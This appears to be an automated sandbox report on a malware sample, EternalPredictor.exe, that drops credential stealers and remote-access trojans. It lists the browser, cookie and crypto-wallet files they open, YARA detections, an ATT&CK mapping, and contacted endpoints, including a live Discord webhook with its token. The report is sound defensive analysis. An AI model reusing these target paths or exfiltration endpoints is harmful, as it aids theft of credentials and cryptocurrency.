Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f463e7a-ef1f-4e71-ae85-88471a72b3d6	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior

Source: Yara match	File source: 74.0.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skuld.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 54.0.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 54.2.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.skuld.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 74.2.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1505357195.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 0000004A.00000002.1701196379.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000036.00000000.1632827829.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skuld.exe PID: 3872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: program.exe PID: 2360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecurityHealthSystray.exe PID: 3948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecurityHealthSystray.exe PID: 7812, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\skuld.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe, type: DROPPED

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000008.00000003.1934849918.00000237A5ED6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1524758278.00000139887E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1524758278.00000139887E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: program.exe PID: 4464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: program.exe PID: 2360, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI44642\rarreg.key, type: DROPPED

Yara detected Skuld Stealer

Source: Yara match	File source: 74.0.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skuld.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 54.0.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 54.2.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.skuld.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 74.2.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1505357195.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 0000004A.00000002.1701196379.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000036.00000000.1632827829.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skuld.exe PID: 3872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecurityHealthSystray.exe PID: 3948, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\skuld.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: program.exe PID: 2360, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EternalPredictor.exe.3d10cf0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.eternal.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EternalPredictor.exe.3d22330.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1499082225.0000000000BC2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1521249404.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EternalPredictor.exe PID: 2852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eternal.exe PID: 5604, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\eternal.exe, type: DROPPED

Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4953DC bind,		8_2_00007FFBAA4953DC
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA496424 listen,		8_2_00007FFBAA496424

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	341 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 File and Directory Permissions Modification	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	1 Windows Service	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	122 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Windows Service	111 Deobfuscate/Decode Files or Information	Security Account Manager	48 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	121 Registry Run Keys / Startup Folder	111 Process Injection	1 Abuse Elevation Control Mechanism	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	1 Scheduled Task/Job	21 Obfuscated Files or Information	LSA Secrets	471 Security Software Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	121 Registry Run Keys / Startup Folder	1 Install Root Certificate	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	2 Modify Registry	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	261 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	111 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
EternalPredictor.exe	57%	Virustotal		Browse
EternalPredictor.exe	58%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
EternalPredictor.exe	100%	Avira	TR/Dropper.Gen
EternalPredictor.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\_MEI44642\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\python313.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI44642\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	63%	ReversingLabs	Win64.Trojan.YanismaStealer
C:\Users\user\AppData\Roaming\XClient.exe	74%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\user\AppData\Roaming\eternal.exe	74%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\user\AppData\Roaming\program.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\skuld.exe	63%	ReversingLabs	Win64.Trojan.YanismaStealer

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
discord.com	0%	Virustotal	Browse
ip-api.com	0%	Virustotal	Browse
api.ipify.org	0%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
discord.com	162.159.128.233	true	false	0%, Virustotal, Browse
api.ipify.org	172.67.74.152	true	true	0%, Virustotal, Browse
ip-api.com	208.95.112.1	true	true	0%, Virustotal, Browse

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1298867906041479188/X0YmXSYYuFGsCIlZL1CQlv_GeIoIWc3S1cksX7_7_e4Onj-TjaVqNzNpf_yEZ3AJvNBM	false
147.185.221.23	true
https://api.ipify.org/	true

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Blank-c/BlankOBF	program.exe, 00000008.00000003.1538839445.00000237A4EE8000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1539582837.00000237A4BB4000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1539939884.00000237A4BB6000.00000004.00000020.00020000.00000000.sdmp	false
https://www.avito.ru/	program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	false
https://api.telegram.org/bot	program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	false
https://www.ctrip.com/	program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	program.exe, 00000008.00000002.1938022235.00000237A29C7000.00000004.00000020.00020000.00000000.sdmp	false
https://www.leboncoin.fr/	program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	false
https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file	program.exe, 00000008.00000002.1938769127.00000237A4838000.00000004.00000020.00020000.00000000.sdmp	false
https://tools.ietf.org/html/rfc2388#section-4.4	program.exe, 00000008.00000002.1939236456.00000237A4AE0000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	program.exe, 00000008.00000002.1938588123.00000237A44A0000.00000004.00000020.00020000.00000000.sdmp	false
https://weibo.com/	program.exe, 00000008.00000002.1941288303.00000237A53E0000.00000004.00001000.00020000.00000000.sdmp	false
https://api.anonfiles.com/upload	program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	false
https://packaging.python.org/en/latest/specifications/entry-points/#file-format	program.exe, 00000008.00000002.1938769127.00000237A4838000.00000004.00000020.00020000.00000000.sdmp	false
https://i.ibb.co/GFZ2tHJ/shakabaiano-1674282487.jpgJSON	skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	false
https://www.msn.com	program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 00000014.00000002.1825728289.0000023993632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1693664914.000001F88196B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1831279300.000001F8901BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1831279300.000001F89007B000.00000004.00000800.00020000.00000000.sdmp	false
https://discord.com/api/v9/users/	SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	false
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	program.exe, 00000008.00000002.1940797595.00000237A4EE0000.00000004.00001000.00020000.00000000.sdmp	false
http://cacerts.digi	program.exe, 00000005.00000003.1522617049.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	false
https://peps.python.org/pep-0205/	program.exe, 00000008.00000003.1538192447.00000237A4790000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1528214217.00000237A44A1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1532943385.00000237A4790000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1537466500.00000237A4790000.00000004.00000020.00020000.00000000.sdmp	false
